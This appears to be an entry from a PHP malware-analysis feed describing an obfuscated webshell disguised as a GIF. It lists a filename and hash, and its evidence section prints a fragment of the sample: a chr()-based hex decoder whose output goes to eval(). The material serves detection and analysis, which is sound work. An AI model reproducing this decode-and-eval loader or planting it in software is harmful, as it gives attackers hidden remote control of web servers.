Hostile 100% php-malware-analysis Download

WebShell_d6d668b5a915eb9094e986d3abec24b805e66fff.php

Obfuscated PHP webshell

Looks like a webshell cloaked as GIF - http://goo.gl/xFvioCExactly one line exceeds 1000 chars
SHA-2567caf9209d10c138bb8c1b63f4cc004f0d1f838398823907b25685c7b22e62f74
MaleculeO₂(As₂C)H₃(DbOsPo)Th

Evidence

Converts a character code with PHP chr() line 1
1:12760… .(*,*(:)^-`(-(:)^-`(*,*)`*&,*,+,)-(-:-&-*(.(*,*(_(*,^(:)^,+-,,\',_(.(*,*(:)^',$d='';@ord($e[$o]);$o++){if($o<16){$h[$e[$o]]=$o;}else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.